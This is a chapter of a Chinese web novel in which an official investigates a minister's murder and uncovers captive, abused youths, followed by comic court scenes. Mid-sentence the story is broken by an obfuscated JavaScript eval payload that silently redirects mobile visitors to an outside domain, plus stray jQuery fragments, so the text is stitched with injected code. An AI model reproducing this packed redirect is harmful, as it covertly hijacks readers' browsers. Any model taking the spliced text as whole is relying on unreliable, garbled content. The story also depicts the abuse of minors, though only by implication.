34. 第 34 章

作品:《重生后,每天都想刀债主

    退朝后,谢砚一路收到不少道贺声,明眼人都看得出来,刑部尚书张角的年纪,再干不了几年,若是谢砚能够成功破获此案,下一任刑部尚书非他莫属,年纪轻轻现已官至正三品,仕途前程可称一片大好。


    更重要的是,他还未结亲,若能促成这门亲事,等于在官场上又多助力,连着几天,谢府门上来送请帖的人,几乎将门槛都踩平了。


    只不过谢砚一概不见,他急着先去勘察案发现场,卫所的人已将宅子严加封锁,任何人不得随意出入,各个门口有带刀班直。


    刑部郎中贺良授命领他前往发现方德安尸身的房中,尸体已经被解下,横放于草席上,天气不太热,还没有发胀的迹象,隐有尸臭飘散。


    屋里邵飞等着,因与谢砚的关系好,他被卫所调来协查此案,他沉声道:“这便是家丁发现尸体的地方,绳子绕梁而过,将整个人吊起。”


    贺亮抬头看了眼房梁,屋子面积不大,但那梁高足有两丈,寻常人脚下不踩着东西徒手扔绳根本丢不过去,他眸中多了分凝重,看向谢砚:“大人......”


    谢砚神色了然,蹲下掀起帘子,尸体全身上下布满鞭伤,面目全非,每道伤口都带飞成条血肉,伤口血液早已凝固,透过撕豁的伤口,嫩肉凸出,犹如翻裂开的无数嘴唇,青白的双眼圆瞪还透着濒死前的恐惧,极为凄惨。


    仅是看了一眼,贺良便胃里翻卷,转身冲出屋外连连作呕。


    邵飞在卫所任职,没少见过死人,但如此惨烈的还是头一回见,浓眉紧蹙看向谢砚:“如何?可发现了什么?”


    谢砚眉眼深沉,起身用帕子擦手:“大人受折磨时还活着。”


    “活着?”邵飞满脸诧异,此话要不是从谢砚口中说出来,他绝对不会相信:“活着为什么不呼救,我已令人严审过家丁,发现尸体的几人都认定,案发时并未听到过声音,进门时人已在梁上吊着,除了衣衫破损,嘴里并未塞堵东西,难不成堵嘴的东西被人带走了?”


    “他若被堵嘴,死后口中会留下痕迹,我方才看了并没有。”


    谢砚走到案前,茶具分散,还保持用过的迹象:“这些有人动过吗?”


    “没有。”邵飞道:“家丁发现尸体吓得够呛,哪还顾得上这些,不过仵作来验,两个茶杯中一个检出迷药痕迹,另一个没有,可......”


    “怎么?”谢砚侧头问他。


    邵飞眉头锁的越发紧:“可尸体中并未检测出迷药成分。”


    这就意味着,喝下迷药的该是屋中另一个人,若另一人喝下迷药,又怎么可能有力气杀人。


    这案子扑朔迷离,条条线索摆在眼前,却毫无逻辑,此刻谢砚也觉棘手,他问:“最后与方大人喝茶的是谁?”


    “家丁说是名茶师,从玉仙楼请来的,我已经派人去查了,暂时未发现其下落。”


    邵飞握了握拳,一副欲言又止的样子,难言道:“还有些东西,你得看看。”


    语罢,他迈步走到床前,将脚踏掀起,里面赫然摆放着各式各样利器,刑具,谢砚疑惑:“这是什么?”


    邵飞没有说,转身出门示意他跟上,谢砚紧随其后,二人来到一处院中,只听房里不时传出哼笑声,痛哭声,行至正房推门而入,里面竟关着形形色色的俊美少年,他们有的目光呆滞,有的哭笑疯癫,少数尚存理智,见有人来,缓缓站起,眼中还带着恐惧。


    “这些人是?”谢砚越发不解,莫非方德安在私宅中圈养戏子优伶?


    邵飞不好解释,硬着头皮走上前,对着其中一个男子道:“卢月,这是刑部尚书谢大人,给他看看你的伤。”


    那名被叫做卢月的少年眼带瑟缩,缓缓低下头,解开外袍,露出上半身,只见光洁白皙的肌肤上,布满纵横交错的伤疤,立时让谢砚瞳孔微震,见他要将裤子脱下,谢砚抢先阻止,轻声道:“不必,我明白了。”


    这屋中共有十五六人,最大不过二十多岁,最小的也就十岁出头,难怪邵飞会如此难以启齿。


    “大人,那人真的死了?”卢月鼓起勇气问他。


    谢砚没有说话,默然点头,屋里氛围陡然一窒,卢月狂笑起来,极尽凄恻。


    “大人是来查凶手的吗?”


    谢砚蹙眉看着他,邵飞急切道:“莫非你知道些什么?”


    卢月满目凶色寒光:“他那种人,死不足惜,更是死有余辜,手上不知沾了多少枉死人的血,你们不用查了!是我杀了他!”


    邵飞愕然。


    只见其他人也跟着陆续站起:“人是我杀的!”


    “人是我杀的,抓我吧。”


    “是我,是我杀的。”


    从屋里走出来,阳光重新照在身上,虽有暖意却挡不住彻骨严寒。


    谢砚只觉得胸口好似被大锤猛击,聚起的浊气如鲠在喉,自他幼时受教,至入朝为官,一直铭记忠正以事君,信法以理下的道理①。


    方德安是户部尚书,正二品大员,手中管控国库财政,说是凌于万人之上也不为过,可他生而为官,不为造福百姓,匡扶社稷,行的却是禽兽事,甚至为防事情败露,专门购买私宅行此龌龊事。


    想起昔日同朝为官,只觉他为人亲善,处事周到,而今才知那张伪善的面孔都是装出来的,犹如妖兽披人皮,毫无人性可言。


    邵飞几次看他,一时沉默无言,他在卫所任职,审查犯人时已见惯格式各样阴暗背德之事,可当得知此事,还是极受震撼,尤其方德安这样的身份,说他死不足惜,并不为过。


    “伯衡,这案子还查吗?”四下无人,邵飞也无顾忌,问出心里话。


    谢砚叹了口气,摇头苦笑:“不查难道让他们这些无辜人去顶罪吗?案子既交到我手里,不管方德安做过什么,我都要尽为官之职,查个水落石出。”


    “好,我们该从何处下手?”邵飞见他如此说,便跟着下定决心。


    “叮嘱下去尸身暂存,不要下葬,还有疑点需要查清,首要查清那名失踪茶师的来历。”


    邵飞点头应下。


    离开方德安私宅时已经暮色黄昏,夕阳半掩于山巅后,马车顺着小路绝尘而去,将那所被罪恶笼罩的宅子远远甩在身后。


    在外奔走一日,等谢砚回府时夜已深。


    此案事关重大,谢太师和谢焕兴为避嫌,没有多加询问,只是叮嘱他认真办差。倒是其母柳氏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225870|179954||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心疼儿子的疲惫,将备好的饭食给他送进屋里,又反复叮嘱他早些休息,才一步三回头的离开。谢砚没什么胃口,用了两口便让人撤了下去。


    江淮端来铜盆侍候他净手:“今日门上又送来请帖,太常寺卿、光禄寺大夫、京府丞、付国公都来贺公子升迁之喜,还请您抽空过府赴宴......”


    “案子没查清,哪来的时间,替我回了便是。”谢砚用干帕子擦过手,重新在书案落座梳理案情,刚把笔拿起来,突然顿住:“你刚才说付国公也送了请帖?”


    江淮正端着盆出去倒水,又转过身:“是,国公帖子是早上送来的,说是请公子择空去小坐。”


    “哦。”谢砚缓慢点点头。


    “公子还要回了吗?”江淮试探着问。


    谢砚看了他一眼,不知为何有些不自在,咳了咳:“先不用,等我得空再说吧。”


    *


    付国公此次回来是为跟户部协商交办粮草事宜。


    为不影响北元和谈,他虽带着大部队先回来,但仍留左、右哨辅助边军戍边,提防敌军偷袭,上年的粮草将要用尽,亟需户部拨放。


    可眼下户部出了这么大事,一时间无人对接,他只好亲自回来督办。


    今日不是好天,云层积压在头顶,没有一丝风,空气好似都凝固了似的。


    中午青衣跟付骁平用过饭,门上却来了个不速之客,京兆尹魏从虔率手下求见,平时若来做客定会递上拜帖,可这回带了府衙里的人来,可见是为了别的事。


    付骁平命吴管事将人引进正厅落座奉茶。


    上茶的侍从刚退下,魏从虔便开门见山:“敢问国公,小姐可在府上?”


    青衣并没走,就在厅后坐着,见问起她,耳朵立马竖起来,与她这兴冲冲的样子不同,颂琴做了亏心事,心虚不已,小声道:“小姐......”


    青衣在唇上竖指,示意她别说话。


    只听外面付国公不紧不慢:“敢问小女是犯了什么事,要府尹大人亲自上门拿人?”


    魏从虔赶紧道:“国公言重了,下官就是想问小姐几句话,并没拿人的意思。”


    付骁平出了名的护犊子,哪容他说问就问,毫不客气:“府尹登门不说清缘由,张嘴就要召小女来问话,你是不是走错门了?这是国公府,不是京兆府。”


    几句话说的魏从虔冷汗直冒,此番前来他就做好挨碰壁的准备,事已至此,不好隐瞒,斟酌再三道:“晋阳侯世子遭歹人殴打轮......侮辱,现在人受了刺激,神志不清,据晋阳侯府的车夫说,当夜世子下车是为了去见付小姐,下官想问,可有此事?”


    嗯?啊?付骁平惊得眼睛都瞪大了,倾身询问:“你所说的侮辱,是我理解的那个意思吗?”


    魏从虔端起茶杯掩面,尴尬地点头。


    嗨呀!付骁平猛一拍椅子扶手,怒而大骂:“是何人如此大胆,做出这等丧尽天良之事!世子前遭刚被人谤讥于市,丢了官职,而今再度失身,如此境地还真是难上加难(男),左右为(男),进退两难(男),实是令人痛惜!”


    魏从虔一口茶喷出去:国公所说的男,是他理解的那个难吗?